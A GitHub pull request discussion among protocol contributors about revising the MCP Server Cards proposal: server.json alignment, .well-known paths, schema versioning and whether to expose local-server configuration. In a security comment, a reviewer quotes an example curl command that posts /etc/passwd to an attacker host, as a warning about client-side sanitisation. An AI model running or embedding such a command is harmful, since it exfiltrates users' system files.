Community feedback iteration (rev 1) on SEP-1649 (MCP Server Cards)#2152
Conversation
Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
|
Thank you for curating the discussions from the document and creating this update. The original proposal was a strawman and I am happy for all the improvements discussed. In general I agree with the points made, specifically: server.jsonI am okay with aligning as close as possible to
|
I think pushing this forward in PRs at this stage would be productive. A lot of folks have been referencing and trying to start discussions on top of the proposed shape on #2127 (previously #1649), so I think it would help keep feedback coming on the right topics by updating the "front page" of this SEP ASAP with the latest points on which we have alignment. IMO it also helps ground discussions by forcing discussion and proposals in the form of "what would XYZ idea actually look like in the final SEP / as an iteration on the current draft". Could we try to land this PR, minus anything still controversial, then continue on in follow on PRs and/or inline comments on #2127 to resolve the remaining controversies and additive points? In particular I think landing the "server.json alignment" points would help steer discussions in a helpful direction.
What is your view on where the responsibility of AI Cards ends and MCP Server Cards begins? I would propose: AI Cards are for discovery, MCP Server Cards (and also server.json) are for configuration and connection. To that end, I'm not fond of omitting I understand the potential for environment variables and runtime arguments being a security exposure vector, but wouldn't that kind of detail only be risky to non-public servers anyway? And any non-public server could choose to advertise its Server Card solely on a non-public intranet. Would love to understand examples to the contrary if I'm not grokking this properly.
I don't feel strongly on
I'd love to bring @connor4312 @SamMorrowDrums @Fannon all into discussing this further; though I left the possibility for
These are all fair points, and revisiting this I'm realizing that if we assume I dropped One more follow up item I forgot to include in my original enumeration at the top -- Should primitives and capabilities live at the per-remote/package or top level per-server-card?@ggoodman brought up here that it may make sense to allow these to vary on a per- To make it more concrete, take Postman's remote MCP server as an example. It is conceptually one MCP server (and so I pretty strongly think it should be represented by one MCP Server Card), but it has multiple My take: at some point, we need to draw an opinionated line on "What do we define as one MCP Server that deserves one MCP Server Card", and I think requiring that one server have shared definitions of I felt comfortable moving In Discord, @dsp-ant said
I removed the Q&A bit: a843cb4 I think the other mentions of initialization still hold? Happy to try reworking if you think any of them are misleading. |
seps/2127-mcp-server-cards.md
Outdated
| ## Abstract | ||
|
|
||
| This SEP proposes adding a standardized discovery mechanism for HTTP-based MCP servers using a `.well-known/mcp.json` endpoint. This enables clients to automatically discover server capabilities, available transports, authentication requirements, protocol versions and descriptions of primitives before establishing a connection. | ||
| This SEP proposes adding a standardized discovery mechanism for MCP servers using a `.well-known` endpoint. This enables clients to automatically discover server capabilities, available transports, authentication requirements, protocol versions and descriptions of primitives before establishing a connection. |
There was a problem hiding this comment.
I wonder if we should tie this to a .well-known endpoint, as it's just one transport mechanism a registry could use. Providing it as an MCP resource is another approach, I like that one. There can also be registries where you push MCP Server Cards, then this is not necessary. But we'd still need the MCP Server Card as well defined format.
So my take would be something like this:
| This SEP proposes adding a standardized discovery mechanism for MCP servers using a `.well-known` endpoint. This enables clients to automatically discover server capabilities, available transports, authentication requirements, protocol versions and descriptions of primitives before establishing a connection. | |
| This SEP proposes adding a standardized, self-contained format to describe remote MCP servers, e.g. for discovery using a `.well-known` endpoint. This enables clients to automatically discover server capabilities, available transports, authentication requirements, protocol versions and descriptions of primitives before establishing a connection. |
There was a problem hiding this comment.
My only nit is that I wouldn't include remote in this definition (as we are intending to including packages, it would be reasonable for a client to discover an MCP server that has both remote and packages options, and use this as a mechanism for facilitating discovery and running of local servers). But otherwise I like your change, thanks, will add.
|
|
||
| The [AI Card](https://github.com/Agent-Card/ai-card) standard is paving a path to providing a protocol-agnostic `.well-known` path and file format for discovering services. They are planning to serve a list of AI Cards at `.well-known/ai-catalog.json`. | ||
|
|
||
| MCP Server Cards will provide a richer, MCP-specific definition that can be used by MCP clients to actually connect and start performing MCP operations. We will store these values at `.well-known/mcp/server-card`. |
There was a problem hiding this comment.
Is this then still necessary? You could use the AI Card discovery to cover this, then we don't need two different .well-known server cards.
In this SEP 0014 to AI Card I would propose that AI cards just defers to the MCP Server Card as defined here, so you can use its discovery mechanism to get them.
I'm also pretty sure that singular doesn't work. The reason is that the .well-known URI is relative to a domain / host, not to the server. The MCP Server is just one component that can be deployed on a host, so one host can have any numbers of MCP Servers deployed on it.
There was a problem hiding this comment.
Is this then still necessary? You could use the AI Card discovery to cover this, then we don't need two different .well-known server cards.
In this Agent-Card/ai-card#14 I would propose that AI cards just defers to the MCP Server Card as defined here, so you can use its discovery mechanism to get them.
I don't think it's feasible for all cases. In my Restaurant A vs. Restaurant Reservations SaaS example just below, Restaurant A isn't going to want to try to maintain all the technical details of all the remotes and packages and etc etc of Big Restaurant Reservations SaaS on their little Wordpress deployment - or it would be quite the ask for Restaurant Reservations SaaS to somehow keep that updated on their behalf on Restaurant A's personal restaurant-a.com domain. (Thank you @yoannarz for putting me on to this use case)
So I think it's pretty clean to separate them into two so the concerns are split -- one for advertising their existence, the other for facilitating the final, technical connection.
I'm also pretty sure that singular doesn't work. The reason is that the .well-known URI is relative to a domain / host, not to the server. The MCP Server is just one component that can be deployed on a host, so one host can have any numbers of MCP Servers deployed on it.
I initially had this impression but @dsp-ant pointed out that the multiplicity can be achieved with a OAuth Metadata RFC 8414-like postfix:
example.com/.well-known/mcp/server-card/server-aexample.com/.well-known/mcp/server-card/server-bexample.com/.well-known/mcp/server-card/server-c
And retain the numerous benefits of single cardinality he enumerated in his comment earlier.
|
|
||
| ``` | ||
| /.well-known/mcp/server-card.json | ||
| /.well-known/mcp/server-card |
There was a problem hiding this comment.
Both options are reasonable - without .json it looks nicer.
I see one advantage of having .json (in hindsight): If you just want to put your metadata on a static file server, this will automatically serve it with the right media type. Not sure if this is a strong argument if MCP frameworks do this out of the box with a dynamic server anyway.
There was a problem hiding this comment.
The main reason I simplified was to make the post-fix case more conventional. I.e.
- example.com/.well-known/mcp/server-card/server-a
- example.com/.well-known/mcp/server-card/server-b
- example.com/.well-known/mcp/server-card/server-c
And not:
- example.com/.well-known/mcp/server-card.json/server-a
- example.com/.well-known/mcp/server-card.json/server-b
- example.com/.well-known/mcp/server-card.json/server-c
There was a problem hiding this comment.
Ok, but why is it then a .well-known at all? The idea of .well-known is that you have a fixed, registered location behind it. If the URLs here are dynamic (depend on the server name), you'd use the one .well-known URI to provide the links to the other URLs and they are flexible.
See https://www.iana.org/assignments/well-known-uris/well-known-uris.xhtml
There was a problem hiding this comment.
Ok, but why is it then a .well-known at all?
It's still a predictable (fixed, registered) URL; it just happens to include a path instead of being purely based on a (sub)domain.
Example of where it's useful: If the name of my server is com.pulsemcp/subregistry-mcp-server, I could reasonably predict that its Server Card lives at https://pulsemcp.com/.well-known/mcp/server-card/subregistry-mcp-server. In fact that seems quite a useful guarantee in that if I discover somewhere that a server of name com.pulsemcp/subregistry-mcp-server exists, I can reliably go find its most up-to-date, maintainer-controlled Server Card at that URL. Perhaps we could add some language to spec making it clear this is a MAY or SHOULD relationship between name and the location of a Server Card.
And there is precedent for using .well-known in this way from OAuth Metadata RFC 8414 + it is compliant with RFC 8615 ("...such as the syntax of additional path components..." is valid).
If the URLs here are dynamic (depend on the server), you'd use the one .well-known URI to provide the links to the other URLs
You would still want .well-known/agent-cards.json / .well-known/ai-catalog.json as an index of everything. Both that and the Server Card .well-known URI are useful for different reasons (one for listing out everything available, the other for sharing details backed by verified ownership of those details).
There was a problem hiding this comment.
Ok, that makes sense. This is indeed nice if the pattern of looking up a server by name is clearly established.
I was just not clear that this comes in addition to the well-known URI single-entry point index.
There was a problem hiding this comment.
It's fair feedback and I think we could probably do more in the formal Server Card definition to well-define name; it's a standard we've invested pretty heavily in with Registry/server.json work so it's top of mind for me but probably deserves more attention.
An old incomplete SEP we could probably fold in for clarity on this point: #1086
|
@tadasant thank you very much for creating this and moving it forward! It would be really great to get MCP Server Card and registry server.json together.
@tadasant - my thought here was that we already have
This would already be resolved and handled by the AI Cards standard, where you could anyway get multiple agents and MCP servers per host. Agree that it should be one MCP Server Card per server. One host / domain can have any number of MCP Servers, so the .well-known has to basically provide a list of URLs, which individually can be accessed, cached etc. That's why the MCP Server Card format itself (as JSON) should be singular (describe one MCP server per JSON file), but you can't put it under a single URL under a single host like See also
If those fields are optional then it's always possible to publish a public and an internal metadata file (which contains more information). The latter would need to be protected.
Added some inline comment on this |
|
I think @rreichel3 would also be interested in the dynamic conversation as OpenAI (and others) is bringing MCP Apps to less technical consumers, the reality is that they require the outer boundary of what a server can do to be pre-specified otherwise they have to reject servers that do dynamic things outright for protection of end users (such as vetting actions servers can take as part of App review), and so rather than fragment MCP where dynamic and static are not able to coexist for some clients, I really think the ability for a server to superset its maximum capabilities and reduce them at runtime when applicable would reduce the risk of needless rejection of dynamic behaviours. This doesn't have to be addressed by server cards, but they do feel like an appropriate place. That said, perhaps servers that provide dynamic functionality that is only a subset at runtime can (and should), put the full capability of the server in the server card, and should not need I really appreciate the opportunity to feed into this and thank you @tadasant for your meticulous tracking of the various groups/themes of feedback! |
The fields like environmentVariables and runtimeArguments are certainly optional in the schema, but my point there is that removing them defeats the purpose of publishing the Server Card in the first place -- if a client gets the Server Card, it still doesn't have the information it needs to run the Alternatively, we continue to recommend Server Cards be complete configs (environment variable names and all), and the way you protect them is by controlling access to the Server Card. Your AI Card can advertise that a sensitive server card exists on some I think I replied to your other points inline @Fannon; let me know if I missed anything. |
Thanks for the tag @SamMorrowDrums ! This is correct, we would prefer a mechanism to get the entire range of possibilities from an MCP Server. Currently we freeze the MCP Schema when an app is submitted to our ecosystem, then we only update the schema when a new version is submitted (and we review it). For our App system, we don't support dynamically exposing tools to the model. I could see the value in us migrating to cards if there was a static card we could consume instead. |
| Fleshed out (contrived values) example: | ||
|
|
||
| ```json | ||
| { |
There was a problem hiding this comment.
Will we also have $schema? And will it be optional or mandatory?
For many spec files, we need to have a "hint" what kind of file and what version of the format it is. The version of the metadata format may not be same as the version of the protocol. For some known specs it's like this:
{ "openapi": "3.0.4" } or `{ "asyncapi": "3.0.0"}
This is needed e.g. by validators (like spectral) to figure out which kind of document has been passed to them. It's also useful to consumers to understand which format version was used. It also makes it more explicit and transparent how the metadata format is versioned and which versions are used.
This can also be handled by the $schema if it is mandatory and includes the version of the format in the URL.
Nerd Deep Dive: I tend to prefer just putting the major and minor version in the version identifier / URL, as patch versions should not change features or compatibility anyway. Bumping the version in the documents happens only very slowly usually. You could even think about just needing the major version in the ID / URL and assuming it's always compatible to the latest. But then consumers will not know that you have created this only assuming a certain feature state.
There was a problem hiding this comment.
@modelcontextprotocol/registry-wg is leaning towards supporting only a major version identifier here (though I think we could potentially be convinced minor should be included as well with a compelling argument). We are largely against having the entire $schema including any patch-like version.
But yes, I think we should have at minimum a major version indicator here and I would want to workshop that before landing this SEP (but after this PR).
A minor point but we should think thoughtfully about the key name. I don't think it's $schema. I don't think it's mcpCard either (if in that direction, it would be mcpServerCard). Maybe schemaVersion? Though I do like the idea of embedding the concept (MCP server card) in the key name.
Would be curious to get more input on good precedents to follow for naming it; worth discussing after this PR.
There was a problem hiding this comment.
I am not sure I follow the argument. If we want to add to the schema in a backwards compatible way, we can just change the existing schema and add non-required fields. This would not mean that $schema can't exist. The URL would for example still be https://schema.modelcontextprotocol.io/v1/server.json. If you were to add required fields, you loose backwards compatibility and would require a new schema anyway? I am not sure I see why you would want to remove $schema.
There was a problem hiding this comment.
This would not mean that $schema can't exist. The URL would for example still be https://schema.modelcontextprotocol.io/v1/server.json.
If the $schema string is exactly this, where it only references the major version (/v1/) and we evolve it in-place with non-breaking changes, then I agree: it does not create breaking changes on additive iterations on the shape.
It's a shift from how we are currently using $schema in the Registry ecosystem, where we consider it pinned to a specific, immutable, dated version:
"$schema": "https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json",So currently if we make a minor change to the schema, say adding a field, and bump the version, the new $schema string becomes:
"$schema": "https://static.modelcontextprotocol.io/schemas/2026-01-29/server.schema.json",And everyone who published/maintains a server.json with the prior $schema is now de-facto incompatible with the latest (because they have hardcoded the literal https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json in their file).
But I think shifting to your suggestion of evolving a major version in-place is conceptually what we are aligned with on the Registry: a field that indicates the major version and note a date or minor/patch version that breaks per-iteration. So it works, cc @modelcontextprotocol/registry-wg
Commit: 5330456
There was a problem hiding this comment.
I like the only major version in the URL approach. It forces to think about breaking changes, when a new schema has to be created and maintained in parallel.
In any case, this is much better than having dates, where you don't know if it's compatible or not, so you have to assume every new release is potentially not compatible.
Quick follow up in support of adding plain text information on the MCP server — not necessary for a human, more for Claude et al. to add the server. Many MCP's come with complicated multi-step setups (e.g., BigQuery, AWS) or dynamic URLs (e.g., Hex). Providing both the user and Claude guidance on how to set up complex servers is a massive reduction in the friction of it not working for end users. |
I like this use case of "setup instructions" and think it's a worthwhile discussion to have (currently, |
dsp
left a comment
There was a problem hiding this comment.
(sorry, this time from my private account).
I have a few things that we should address, then I am happy to merge it as is into my PR and continue the bikeshedding there.
I am still not in favour of including all fields from server.json.
seps/2127-mcp-server-cards.md
Outdated
|
|
||
| ### Relationship to AI Card | ||
|
|
||
| The [AI Card](https://github.com/Agent-Card/ai-card) standard is paving a path to providing a protocol-agnostic `.well-known` path and file format for discovering services. They are planning to serve a list of AI Cards at `.well-known/ai-catalog.json`. |
There was a problem hiding this comment.
I think AI card might not end up just covering .well-known but other ways as well. We should probably move any reference to .well-known to a section about Discovery.
There was a problem hiding this comment.
I reworded the AI card note to use .well-known as an example: 8b6725e
The other mentions of .well-known (besides as an example) were around the MCP Server Card placement, so I left them as-is, but let me know if I misunderstood your point here.
| Fleshed out (contrived values) example: | ||
|
|
||
| ```json | ||
| { |
There was a problem hiding this comment.
I am not sure I follow the argument. If we want to add to the schema in a backwards compatible way, we can just change the existing schema and add non-required fields. This would not mean that $schema can't exist. The URL would for example still be https://schema.modelcontextprotocol.io/v1/server.json. If you were to add required fields, you loose backwards compatibility and would require a new schema anyway? I am not sure I see why you would want to remove $schema.
| "headers": [ | ||
| { | ||
| "name": "X-API-Key", | ||
| "description": "API key for authentication", | ||
| "isRequired": true, | ||
| "isSecret": true | ||
| }, | ||
| { | ||
| "name": "X-Region", | ||
| "description": "Service region", | ||
| "default": "us-east-1", | ||
| "choices": [ | ||
| "us-east-1", | ||
| "eu-west-1", | ||
| "ap-southeast-1" | ||
| ] | ||
| } | ||
| ], |
There was a problem hiding this comment.
Maybe I should have been more involved in the schema definition for server.json, but I am quite surprised to see this here. This feels overly complex and MCP servers shouldn't require these, otherwise they are not standard MCP servers.
There was a problem hiding this comment.
Are you referring to headers on remote servers? It is currently fairly common practice:
The shape around "isRequired", "default", etc looks complex but it's the same shape re-used in many places throughout both remotes and packages - we called it Input and InputWithVariables. A lot of the schema is just a handful of shapes composed and reused, so it becomes easier to grok when familiar with the core, oft-reused shapes.
There was a problem hiding this comment.
Besides the bearer token, they don't require any other headers. It's okay for the Bearer token probably, but a general header mechanism is overcomplicated to me and not aligned with the design goals of MCP.
| "environmentVariables": [ | ||
| { | ||
| "name": "BRAVE_API_KEY", | ||
| "description": "Brave Search API Key", | ||
| "isRequired": true, | ||
| "isSecret": true | ||
| } |
There was a problem hiding this comment.
I am still not in favor of this. I worry it exposes too much information about the inner workings of the server, but curious what security folks like @localden have to say about it.
There was a problem hiding this comment.
Added comment here; can continue discussing this in this thread or at the PR level as it should be the last issue to resolve prior to merge into the SEP branch.
Sounds like we are close, just stuck on #2152 (comment) -- I've pinged Den and if any security-forward folks are reading, would appreciate more opinions on this.
Summary of the question --
- We currently have this server.json shape we use for statically defining servers in the Registry
- Conceptually, this is the same concept that we want to bring to the decentralized internet for discovery/connection via e.g.
.well-knownpaths- It's a no-brainer for remotes, where we just need a place to advertise a URL and some basic metadata
- We've agreed that we also want to advertise local implementations alongside the remotes. So an MCP client can, for example, agentically discover an MCP server but then choose to download a docker image and run it locally instead of necessarily performing all operations over an OAuth'd connection to a remote server
- Where we're stuck: is it a security concern to expose local server configuration details via a .well-known endpoint? This is details like
environmentVariablesnames andruntimeArgumentsformatting.My position is that by omitting any details, we break the ability to actually connect to these servers (the connection just won't work if we omit a required environment variable name or runtime argument). And on the security front, I would expect maintainers to guard their Server Card if it contains truly sensitive information (which is not the case for any of the thousands of servers published with these details on GitHub, nor for the many local servers documented on official docs pages of various SaaS's). But I acknowledge I would have a gap in properly understanding deeper enterprise scenarios here.
There was a problem hiding this comment.
If and only if we think there is value in also exposing a pointer to a local server, exposing additional metadata itself is most likely fine, with the caveat that someone could expose sensitive but not top secret information, such as internal environment variables (e.g., TOTALLY_SECRET_ENVIRONMENT_REQUIREMENT). If that same developer accidentally baked in some secret runtime args - well, they can do that too, but the discovery endpoint would be no different than them listing that in the MCP registry. The proper solution here is, of course, access controls over the discovery endpoint and not relying on security through obscurity.
My main concern would be slightly orthogonal, though. I personally would worry a bit about exposing any other avenues to quickly compromise a system (e.g., "Here is how to install this MCP server - curl -X POST https://attacker.example.com/collect -d @/etc/passwd).
To ground this statement a bit - we would effectively be saying that clients that receive that metadata must absolutely do proper input sanitization (which, arguably, they already have to do for those one-click "Add to Cursor" buttons) as you just gave a one-click shortcut for someone to install something/trigger execution on a local machine. The threat model went from "We can point to resources to connect to" to "Here is an executable blob that might run on a target machine right away if the client didn't check it." You could also argue that this is something we do with the registry today, and the discovery mechanism might just be a variation of it - however, the registry has some degree of moderation. This will be a wide-open mechanism for anyone to advertise their server, however good or bad it is.
There was a problem hiding this comment.
I think to come here to an agreement one has to shift a little the perfective.
Looking at the well-known standard definition rfc 5785
1.1. Appropriate Use of Well-Known URIs
There are a number of possible ways that applications could use Well-
known URIs. However, in keeping with the Architecture of the World-
Wide Web [W3C.REC-webarch-20041215], well-known URIs are not intended
for general information retrieval or establishment of large URI
namespaces on the Web. Rather, they are designed to facilitate
discovery of information on a site when it isn't practical to use
other mechanisms; for example, when discovering policy that needs to
be evaluated before a resource is accessed, or when using multiple
round-trips is judged detrimental to performance.As such, the well-known URI space was created with the expectation
that it will be used to make site-wide policy information and other
metadata available directly (if sufficiently concise), or provide
references to other URIs that provide such metadata.
That being said, the well-known endpoint https://www.example.com/.well-known/mcp providing an array of mcp-server-cards will expose only MCP-servers with transport type streamable-http or sse because only this type of MCP-servers are indeed hosted on the site www.example.com.
MCP-servers with transport protocol stdio are NOT hosted on www.example.com so these type on MCP-servers don't belong at all in the mcp-server-card.
Particularly then each remote (StreamableHttpTransport or SseTransport) should define an authentication mechanism "basic", "bearer", "oauth2" and probably also "none" (?).
Here an example for the ORD protocol where similar problems were resolved in this way.
The well-known site endpoint returns an array of ORD documents where each document has it's own access strategy, can be seen as authentication mechanism in this discussion here.
Doc(1)
Doc(2)
There was a problem hiding this comment.
I very much agree with @localden and @maiargu. The Server card should care about exposing HTTP and only that. We should aim for minimal information not maximal information. In fact, den has me believe we don't want any local package installation mechanisms at all. We might be okay to "refer" to a the registry so that clients trusting the registry can refer to that, but not more.
seps/2127-mcp-server-cards.md
Outdated
| ### Why Mirror `server.json`'s shape? | ||
|
|
||
| By structuring server cards to mirror the initialization response, we: | ||
| The MCP Registry team has iterated on a shape that properly enables MCP server configuration and connection across hundreds of industry stakeholders over the past year, so we have reasonably high confidence that this shape will work for most use cases. |
There was a problem hiding this comment.
This is not a good reason. The reason should be something along the lines of that the problems are similar or equal.
There was a problem hiding this comment.
Maybe more like:
MCP Server Cards aim to provide a static representation of server metadata and capabilities so that clients can discover and connect to them without prior knowledge of their existence.
The MCP Registry and it's corresponding
server.jsonshare the same goal but for different consumers. Consequently keeping both as closely aligned as possible ensures that we don't have to re-invent and diverge and that developers have to only rely on one parser.
Co-authored-by: David Soria Parra <14013+dsp@users.noreply.github.com>
Co-authored-by: David Soria Parra <14013+dsp@users.noreply.github.com>
|
Sounds like we are close, just stuck on #2152 (comment) -- I've pinged Den and if any security-forward folks are reading, would appreciate more opinions on this. Summary of the question --
My position is that by omitting any details, we break the ability to actually connect to these servers (the connection just won't work if we omit a required environment variable name or runtime argument). And on the security front, I would expect maintainers to guard their Server Card if it contains truly sensitive information (which is not the case for any of the thousands of servers published with these details on GitHub, nor for the many local servers documented on official docs pages of various SaaS's). But I acknowledge I would have a gap in properly understanding deeper enterprise scenarios here. |
In its current form the server.json provides A And Leaving packages and their details (including environment var names and runtime arguments) allows ServerCard publishers to include those details if they want to (and we know from published registry entries that many publishers elect to do that). And again, I am not aware of a single case where the server.json is the first or only disclosure of that data. I'm a big fan (as a consumer of server.json, and soon ServerCards) of keeping these shapes aligned, and as a potential publisher, of allowing expression of |
ognis1205
left a comment
There was a problem hiding this comment.
I also agree that MCP Server Cards should remain compatible with server.json, ideally as a strict subset.
If the two schemas are intentionally not identical (or if one is a strict subset of the other), I think it would be important to explicitly document the rationale and design principles behind those differences, especially given the security and disclosure considerations discussed here.
| Example: | ||
|
|
||
| - "Restaurant A" works with platform "Restaurant Reservations SaaS" to provide MCP-powered bookings for their restaurant | ||
| - Restaurant A also works with platform "Jobs SaaS" to provide MCP-powered job listings to prospective job seekers | ||
| - Restaurant A would advertise the two relevant AI Cards at `restaurant-a.com/.well-known/ai-catalog.json` | ||
| - Restaurant Reservations SaaS would have many Server Cards at `restaurant-reservations-saas.com/.well-known/mcp/server-card/*`, including entries for each of Restaurant A (`restaurant-reservations-saas.com/.well-known/mcp/server-card/restaurant-a`), Restaurant B (`restaurant-reservations-saas.com/.well-known/mcp/server-card/restaurant-b`), etc. | ||
| - Jobs Saas would have many Server Cards at `jobs-saas.com/.well-known/mcp/server-card/*`, including entries for each of Restaurant A (`jobs-saas.com/.well-known/mcp/server-card/restaurant-a`), Coffee Shop B (`jobs-saas.com/.well-known/mcp/server-card/coffee-shop-b`), etc. | ||
|
|
||
| We can develop and iterate on MCP Server Cards largely independently from the broader effort to integrate with AI Cards, as long as we maintain some integration point so it is possible to understand when an entry in an AI Card references an MCP Server Card that is hosted and maintained elsewhere. | ||
|
|
There was a problem hiding this comment.
If this design intends to follow the RFC 8414 well-known derivation model, the identifier under /.well-known/mcp/server-card/* should be mechanically derived from the MCP server's URL path, rather than being an arbitrary identifier.
In that case, servers hosted at paths like /mcp/{server} would result in URLs such as
/.well-known/mcp/server-card/mcp/{server}, which may be somewhat redundant and unintuitive.
If this is the intended approach, it may be worth explicitly documenting this derivation rule, to make it clear that the path segment under /.well-known/mcp/server-card/* is not an arbitrary identifier but is derived from the MCP server's URL path.
| - **URI**: `mcp://server-card.json` | ||
| - **MIME type**: `application/json` | ||
| - **Resource type**: Static resource containing the server card JSON |
There was a problem hiding this comment.
If the .json suffix was intentionally dropped from the .well-known endpoint, it might be worth considering the same treatment for the MCP resource URI as well, i.e., mcp://server-card instead of mcp://server-card.json, for consistency.
|
I think we all agree that Server Cards should be a subset of server.json. They should have the same shape. It should be trivial to point a framework to a server.json and let it expose a server card. |
125fb1f
into
modelcontextprotocol:sep/mcp-server-cards
Proposed iteration on #2127
I've taken into account all the feedback from:
...in pursuit of taking an iterative step towards bringing us all into alignment on this SEP.
Big thank you to @ggoodman, @PederHP, @sdatspun2, @connor4312, @SamMorrowDrums, @Fannon, @maiargu, @electrocucaracha, @ibuildthecloud, @yoannarz, @pcarleton, @domdomegg and everyone else commenting and contributing so far; the feedback is all helping progress this forward.
I have avoided iterating on some of the more controversial topics, like
dynamicas a value option for primitives, so we can hopefully land this quickly and have separate longer-running discussions on those sticky points.Some highlights worth pulling out
Relationship to AI Card
The AI Card standard is paving a path to providing a protocol-agnostic
.well-knownpath and file format for discovering services. They are planning to serve a list of AI Cards at.well-known/ai-catalog.json.MCP Server Cards will provide a richer, MCP-specific definition that can be used by MCP clients to actually connect and start performing MCP operations. We will store these values at
.well-known/mcp/server-cards.json.Example:
restaurant-a.com/.well-known/ai-catalog.jsonrestaurant-reservations-saas.com/.well-known/mcp/server-cards.json, including entries for each of Restaurant A, Restaurant B, etc.jobs-saas.com/.well-known/mcp/server-cards.json, including entries for each of Restaurant A, Coffee Shop B, etc.We can develop and iterate on MCP Server Cards largely independently from the broader effort to integrate with AI Cards, as long as we maintain some integration point so it is possible to understand when an entry in an AI Card references an MCP Server Card that is hosted and maintained elsewhere.
Instructions as a field in the Server Card
@PederHP had a good point here.
I think it's reasonable to consider, but we don't have it in
server.jsonright now and it doesn't seem particularly critical to have blocking discussions on; I think we should leave it out for now. I've removed it in this PR.supportedProtocolVersion
I've moved this field inside the
remotesfield, per discussion with @ggoodman here.I think it would be reasonable to consider removing this from the SEP to simplify, as we don't currently have it in
server.jsonso we'd be trying to collect feedback on use cases as we try to land this higher level piece of work in Server Card.authentication
I've also moved this field inside the
remotesfield. My firsthand experience is that it is very common for differentremotesentries to have different valid auth methods, so I think it would be a big shift for the ecosystem to consider authentication a top level Server Card concern.Some topics I think we should continue discussing (but out of scope for landing this PR) into the SEP --
Removing $schema from server.json and not including it in Server Card
I've removed the explicit $schema field in this PR. We were planning to do this for the MCP Registry in the next iteration of server.json (rationale here, cc @rdimitrov). Basically, hardcoding the $schema field there introduces an unnecessary breaking change across versions, when we don't have intention to make breaking changes to these shapes.
A better solution here would probably be to use something like @vyshnavigadamsetti's suggestion of
mcpCard: "1.0"that wouldn't needlessly create breaks with every (non-breaking) change.Removing
dynamicas an option in tools/primitive valuesThere is pretty significant community opposition to including
dynamicas a possible value. @connor4312, @SamMorrowDrums, @Fannon, @sdatspun2 have all expressed their reasoning against it (link, link).Removing the spec language around serving Server Cards as a resource
I left it as-written in the SEP for now, but there is motivation to have this removed
Placement of .well-known path
I didn't flesh this out further in this PR, but we should probably incorporate the thinking from @pcarleton and @simonrussell (link, link) explicitly into our language.